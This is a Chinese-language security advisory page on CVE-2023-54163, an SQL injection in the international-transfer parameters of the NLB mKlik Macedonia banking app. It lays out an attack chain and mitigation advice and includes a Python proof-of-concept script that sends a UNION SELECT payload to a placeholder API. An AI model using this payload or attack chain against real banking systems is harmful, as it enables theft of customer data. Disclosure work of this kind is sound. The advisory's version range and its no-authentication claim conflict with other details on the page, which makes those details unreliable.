IPBUF安全漏洞报告
English
CVE-2023-54163 CVSS 7.5 高危

CVE-2023-54163 NLB mKlik Macedonia移动银行应用SQL注入漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2023-54163
漏洞类型
SQL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NLB mKlik Macedonia

相关标签

SQL注入移动银行应用NLB mKlik北马其顿国际转账CVE-2023-54163高危漏洞数据库泄露Web应用安全

漏洞概述

CVE-2023-54163是北马其顿NLB银行移动银行应用mKlik Macedonia版本3.3.12中的一个高危安全漏洞。该漏洞存在于国际转账参数处理功能中,由于应用程序对用户输入的国际转账参数缺乏充分的输入验证和过滤,攻击者可以通过构造恶意的SQL代码片段注入到应用程序的数据库查询中。成功利用此漏洞的攻击者能够绕过正常的身份验证机制,无需任何用户交互即可执行任意SQL命令。这不仅可能导致应用程序数据库中的敏感客户信息泄露,包括账户余额、交易记录、个人身份信息等机密数据,还可能造成数据库数据被篡改或删除,严重威胁移动银行应用的安全性和用户数据的保密性。该漏洞的CVSS评分为7.5,属于高危级别,攻击复杂度低,无需认证即可远程利用,对机密性造成高影响。

技术细节

该SQL注入漏洞位于NLB mKlik Macedonia移动银行应用的国际转账功能模块。当应用程序处理用户提交的国际转账请求时,会将国际转账相关的参数直接拼接到SQL查询语句中,而未对这些参数进行严格的输入验证和SQL语句转义处理。攻击者可以通过拦截并修改转账请求中的特定参数,注入恶意的SQL代码片段。例如,在国际转账表单的收款人国家代码、货币类型或转账金额等参数中插入SQL注入payload,如单引号(')、UNION SELECT语句或布尔盲注语句等。应用程序在执行数据库查询时,会将这些恶意代码作为合法SQL语句的一部分执行,从而实现对数据库的非授权访问和操作。攻击者可以利用UNION注入提取数据库中的敏感表结构信息,通过布尔盲注或时间盲注技术逐步推断和获取数据库中的敏感数据,包括客户账户信息、交易历史等机密数据。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标NLB mKlik Macedonia移动银行应用版本3.3.12,确认其国际转账功能入口点
STEP 2
步骤2
信息收集:攻击者分析移动银行API接口,识别国际转账相关的API端点和参数结构
STEP 3
步骤3
漏洞探测:攻击者通过拦截转账请求,在国际转账参数(如country_code、currency等)中注入SQL测试payload,如单引号观察是否产生数据库错误
STEP 4
步骤4
注入利用:确认注入点后,攻击者构造UNION注入或盲注payload,提取数据库表结构、列名及敏感数据
STEP 5
步骤5
数据窃取:利用注入漏洞获取银行客户账户信息、交易记录、个人身份数据等敏感信息
STEP 6
步骤6
持久化控制:攻击者可能通过SQL注入创建后门账户或修改数据库数据,进一步扩大攻击成果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2023-54163 PoC - NLB mKlik Macedonia SQL Injection # Target: International transfer parameters TARGET_URL = "https://example-nlb-bank.com/api/v1/international-transfer" def exploit_sql_injection(): """ SQL Injection PoC for CVE-2023-54163 This PoC demonstrates the injection vulnerability in international transfer parameters """ # Malicious payload for SQL injection in country_code parameter # This payload attempts to extract database version information malicious_payload = "' UNION SELECT NULL,@@version,NULL,NULL--" headers = { "Content-Type": "application/json", "Authorization": "Bearer <valid_token>", "User-Agent": "NLB-mKlik/3.3.12" } # Original legitimate request parameters data = { "sender_account": "1234567890", "receiver_name": "John Doe", "receiver_account": "GB82WEST12345698765432", "country_code": malicious_payload, # Injection point "currency": "EUR", "amount": "1000.00", "swift_code": "NLBKMK2X" } try: response = requests.post(TARGET_URL, headers=headers, json=data, timeout=30) # Check for SQL error indicators in response if response.status_code == 500: if "sql" in response.text.lower() or "mysql" in response.text.lower(): print("[+] SQL Injection vulnerability confirmed!") print(f"[+] Database error leaked: {response.text[:200]}") elif response.status_code == 200: print("[*] Request processed, check for data exfiltration in response") print(f"[*] Response: {response.json()}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit_sql_injection()

影响范围

NLB mKlik Macedonia < 3.3.12

防御指南

临时缓解措施
在厂商发布官方修复版本之前,建议采取以下临时缓解措施:1)暂时禁用国际转账功能或限制其使用;2)在Web应用防火墙中配置SQL注入防护规则,拦截包含SQL关键字和特殊字符的请求;3)加强对API接口的监控和日志审计,及时发现异常访问行为;4)对数据库账户权限进行严格限制,阻止应用程序账户执行高危SQL操作;5)启用数据库查询审计日志,便于事后溯源分析。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表